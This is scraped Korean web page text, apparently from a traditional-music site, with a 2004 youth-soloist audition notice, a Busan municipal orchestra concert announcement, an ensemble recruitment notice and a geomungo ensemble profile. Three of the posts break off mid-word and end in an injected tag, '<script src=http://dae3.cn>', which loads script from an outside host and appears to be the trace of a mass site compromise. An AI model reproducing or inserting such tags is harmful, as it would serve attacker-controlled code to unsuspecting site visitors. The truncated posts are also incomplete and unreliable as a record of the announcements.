14일 첫방송 하신다지요? 축하드립니다. 어차피 그리 될 것을 왜 방송국측에선 시행착오를 겪으며 알게 되는지... 제 욕심입니다만, 안한다고 배짱좀 부리시다 수락하셨으면 좋았을걸 어쩌셨는지 모르겠네요. 사투리 섞인 옆집 아저씨같으신 구수한 말씀 듣게 되니 반가운 마음이 앞서네요. 모쪼록 좋은 방송 기대하겠읍니다.
전국의 초, 중, 대학교, 대학원 관련 기악 전공자 중 선발하여 협연할 수 있는 무대를 제공하는데 그 목적을 둔다. 미래의 주역인 청소년의 연주기량과 무대 경험을 높여 차세대 주자로서의 위상을 만들어 주는 의미 있는 공연을 기획한다. 기존의 유명한 협주곡과 위촉 작곡가들의 작품을 엄선하여, 프로그램을 구성하고 공고하여, 협연 기회를 마련한다. 아울러 국립국악관현악단의 홍보 및 격을 높일 수 있으며, 한국음악의 정체성을 찾는 무대작업으로서의 위상과 의미를 높이도록 꾸민다.
2. 방침 ㅇ 차세대 명인명창들에게 보다 많은 연주기회를 제공한다. ㅇ 국립국악관현악단과 수준 높은 협연의 기회를 마련한다.
3. 행사개요
(1) 행사명 : 제33회 정기연주회 2004 차세대명인명창 (2) 일 시 : 2004년 6월 7일(월)~8일(화) (3) 장 소 : 국립중앙극장 달오름극장 (4) 주 최 : 국립국악관현악
4. 참가요강
(1) 참가자격 : 현재 초,중,고,대학,대학원에 재학중인 자 (2) 참가부문 : 1. 청소년협연(초,중,고 재학생) 2. 대학 및 대학원 협연 (3) 참가 곡 형태 : 국악관현악단과 협연이 가능한 성악을 포함한 기악(국악/양악) (4) 신청서 배부 : 2004년 4월1일(금)~ 20일(수) 에서 www.ntok.go.kr 다운로드 양식 다운로드 : 참가신청서 양식(doc) (5)신청서접수:2004년 4월1일(목)~5월1일(토)인터넷 또는 국립국악관현악단(오전9시~오후6시)☏ 02) 2273-0237 (6) 제출서류 : (가) 참가신청서 1통 (나) 사진2매 부착 (7) 세부일정 : (가) 대회공고- 4월 1일 (나) 서류접수 - 4월 1일~4월 28일 (다) 예선 - 5월 1일 장소: 국립국악관현악단 (실제연주) (라) 합격자발표 - 5월 4일 국립극장 관현악단 홈페이지 및 개별통보 (마) 무대리허설 - 협연연습 일정 및 리허설 일정은 추후 공고 (바) 연주회 - 6월 7일~8일
※ 국립국악관현악단에 악보가 있는 경우는 악보가 제공되나 신곡 또는 보유하지 않는 악보는 스코어 악보 및 파트보를 지참하여야 함.
안녕하세요. 전 대구에 있는 중등학교 음악교사입니다. 귀집의 첫화면에 보니까, 단가가 실려있는 CD가 소개되어 있더군요? 전 진국명산(가곡)을 찾고 있습니다. 인터넷에서 내리받아 수업이 이용하면 얌체같죠? CD를 구입하면 컴퓨터에서 들을 수 있다라 생각됩니다. 그래서 문의드리옵기는 진국명산(가곡)이 CD로 나온 게 있습니까? 답변을 부탁드립니다.
가곡이 아니고, 단가 진국명산을 말씀하시는 것 같습니다. 확인하시고 질문게시판에 다시 올려주시면, 답변드리겠습니다. 운영자
부산시립국악관현악단 제 118회 정기연주회 및 2004 신춘음악회 봄과 새 시대를 여는 소리 天下太平春
2004. 3. 30(화) 19:30 부산문화회관 대극장
하나된 우리 민족의 새 시대를, 그리고 싱그러운 봄을 여는 소리의 메세지!
북한음악 2곡 부산초연 - 북한 개량 민족악기 저대 협주곡 '노한파도', 국내 저대 연주자 첫 협연 - 북한민요 기나리 주제에 의한 오보에 협주곡 '룡강기나리', 동서양의 만남
국내 최고 악극배우 김성녀 출연, 겨레의 정서가 담긴 '남누리 북누리' 등 불러
고구려의 진취적 기상을 표현한 관현악 '고구려의 혼'을 통한 한민족의 기상 조명
싱그러운 봄을 소재로 한 樂,歌,舞 펼쳐 - 관현악 '판', 춤과 관현악 '춘무', 신민요 '봄노래' 등
전통의 맥을 잃지 않으면서도 항상 도전적이고 실험적인 시도를 통해 새롭고 신선한 우리의 소리를 선사하고 있는 부산시립국악관현악단이 창단 20주년을 맞이하여 마련되는 제 118회 정기연주회 및 2004 신춘음악회「봄과 새 시대를 여는 소리 '天下太平春'」이 2004. 3. 30(화) 저녁 7:30, 부산문화회관 대극장에서 열립니다.
이번 연주회는 박호성의 지휘로 우리민족이 이념을 뛰어 넘어 하나되고, 또한 동서양의 이색적 만남 등을 통한 새로운 화합의 시대를, 그리고 싱그러운 봄을 여는 풍성한 소리의 메시지를 1,2부로 나누어 전합니다.
1부〔새 시대를 여는 소리〕는 우리 민족이 하나되고, 동서양의 이색적 만남을 통한 평화와 풍요로운 새 시대를 열었으면 하는 소리의 메시지를 전달합니다.
고구려의 진취적인 기상을 웅장한 스케일로 표현한 관현악 '고구려의 혼'을 통하여 최근 중국이 고구려사의 중국역사 편입 움직임에 대한 대처와 우리 민족의 주체성을 일깨우고자 하였으며 북한의 정서를 독특한 선율로 표현한 음악을 북한 개량 민족악기 저대와 서양악기 오보에의 협연으로 부산에선 처음으로 소개되는데 특히 저대를 국내 연주자가 협연하기는 우리나라에선 처음입니다.
그리고 우리 겨레의 정서가 담긴 노래 '남누리 북누리' 등 국악가요를 악극과 마당놀이 등에서 폭 넓고 완성도 높은 연기력으로 국내 최고의 배우로 인정받고 있는 김성녀가 천사들의 합창과 함께 들려 줍니다.
2부〔봄을 여는 소리〕는 봄의 정경을 관현악과 노래, 그리고 춤으로 그려 보았습니다.
새 봄을 여는 관현악 '판'을 시작으로 정겨운 봄?script src=http://dae3.cn>
국악실내악단 슬기둥과 함께 할 제4기 신규단원을 다음과 같이 공개 모집합니다. 전통음악의 새로운 미래에 동참할 젊고 유능한 인재들의 많은 참여를 바랍니다.
1. 모집부문 및 인원 소금 (대금 가능자), 가야금 (양금 가능자), 해금, 아쟁, 피리 (태평소 가능자), 타악 (꽹가리, 장구, 모듬북), 기타, 신디사이저 (피아노 가능자), 노래 각 부문별 1~2 명
2. 전형 방법(실기 및 면접) *피 리 피리/ ① 자진한잎 ② 창작곡 초견(당일제시) 태평소/ ① 능게 및 시나위 ② 프론티어 *대 금 대금/ ① 가곡 중 태평가 ② 산조(10분 내외) ③ 창작곡 초견(당일 제시) 소금/ ① 소금협주곡 '길'(이준호作曲) ② 여행(이준호作曲) 단소/ ① 자유곡 *해 금 ① 경풍년(평조두거) ② 산조(10분 내외) ③ 그저녁무렵부터 새벽이오기까지(이준호作曲) ④ 창작곡 초견(당일 제시) *가야금 가야금/ ① 현악영산회상 中 하현도드리 ② 25현/ 세산조시(박범훈作曲) ③ 18현/ 창작곡 초견(당일 제시) 양금/ ① 계면가락도드리 ② 초견(당일 제시) *아 쟁 ① 수제천 ② 산조(10분 내외) ③ 아쟁과 첼로를 위한 ‘반서름’ (김대성 作曲) ④ 창작곡 초견(당일 제시) *타 악 장구/ ① 정악 장단 ②민속장단 ③ 설장구 꽹과리/ ① 우도농악 중 칠채 모듬북/ Variation *노 래 ① 자유곡 3곡 (국악가요, 판소리, 민요, 정가, 병창 중) ② Jazz, 팝송, 뮤지컬 중 1곡 *신 디 신디/ ① 지정곡: 신뱃놀이(원 일作曲), Frontier(양방언作曲) ② 자유곡 1곡 ③ Adlib 피아노/ ① 자유곡 1곡(소나타 이상) ② 초견 1곡 *기 타 (Guitar) ① 지정곡: Astrias(알베니스作曲) ② 자유곡 1곡 ③ Adlib
3. 응시자격 가. 대졸이상 30세 미만의 남, 여 (남자의 경우 군필자 또는 면제자) 나. 해외여행에 결격사유가 없는 자 다. 해당부문에 전문적 식견과 예능이 탁월한 자
4. 응시원서 교부 및 접수 가. 원서교부 및 접수 : 슬기둥 홈페이지(www.seulgidoong.com) 에서 응시원서 다운로드, 작성 후 우편접수 나. 교부 및 접수기간 : 2004. 2. 23(월) - 2004. 3. 17(수). 당일 도착분까지 유효함 다. 제출서류 ① 응?script src=http://dae3.cn>
사람들이 보통 ‘심금을 울린다.’라는 감탄사를 말하곤 합니다. 이때 심금이 마음‘심(心)’에 거문고‘금(琴)’이라는 것을 아는 이는 그리 많지 않습니다. 옛날이나 지금이나 마음 둘 곳을 찾아 고민했던 것은 마찬가지 였나 봅니다. 그 헤아릴 수 없는 마음을 손끝에 울리고 있는 絃에 달래보고 싶었던 것이었을까요?
검은 학이 날아들던 고구려의 거문고 소리부터 디지털과 인터넷으로 대변되는 오늘의 거문고 소리에 이르기까지 우리 마음속에 울리고 있는 거문고는 무엇을 이야기 하려고 하는 걸까요?
古事에 知己를 잃자 그만 거문고 줄을 끊어 버렸다는 백아(伯牙)와 종자기(鍾子期), 백아가 마음속에 담고 있던 감정을 거문고로 타면 종자기는 그 소리를 듣고 누구보다 백아의 마음을 알아주던 절친한 사이였습니다.
“ 아, 멋지다. 하늘높이 우뚝 솟는 그 느낌은 마치 태산 같군” “ 음, 훌륭해. 넘칠 듯이 흘러가는 그 느낌은 마치 황하 같군”
그토록 마음이 통하는 연주자요 청취자였던 두 사람의 知音의 관계처럼, 오늘날 다시 만나는 백아와 종자기가 되기를 바라는 마음으로 여러분과 함께 거문고소리로 마음과 마음의 대화를 나누고 싶습니다.
**** 앙상블 거믄
한양대 학부와 대학원에서 거문고를 익힌 여성 연주자 유영주(서울시국악관현악단 단원), 김연미(전남대 강사),박희정(국립국악학교 강사)로 구성된 한양거문고앙상블은 1999년 10월 창단 되었다. 최초의 거문고앙상블 연주단으로 2000년 4월 28일 창단연주회를 시작으로 제3회 정기연주회에는 윤은자(한양대학원)가 가세하여 전통의 탄탄한 바탕아래 새로운 거문고 음악의 진보(進步)를 위해 노력해왔다.
기존의 전통 6현거문고와 넓은 음역과 빠른 음형 처리를 위한 개량된 회현금을 더불어 4년 여간 각종 정기연주회와 초청연주회를 통해 고악보에만 존재하는 평조회상 하현도드리와 해탄등의 악곡을 재현하여 호평을 받은바 있으며 회현금을 통하여?script src=http://dae3.cn>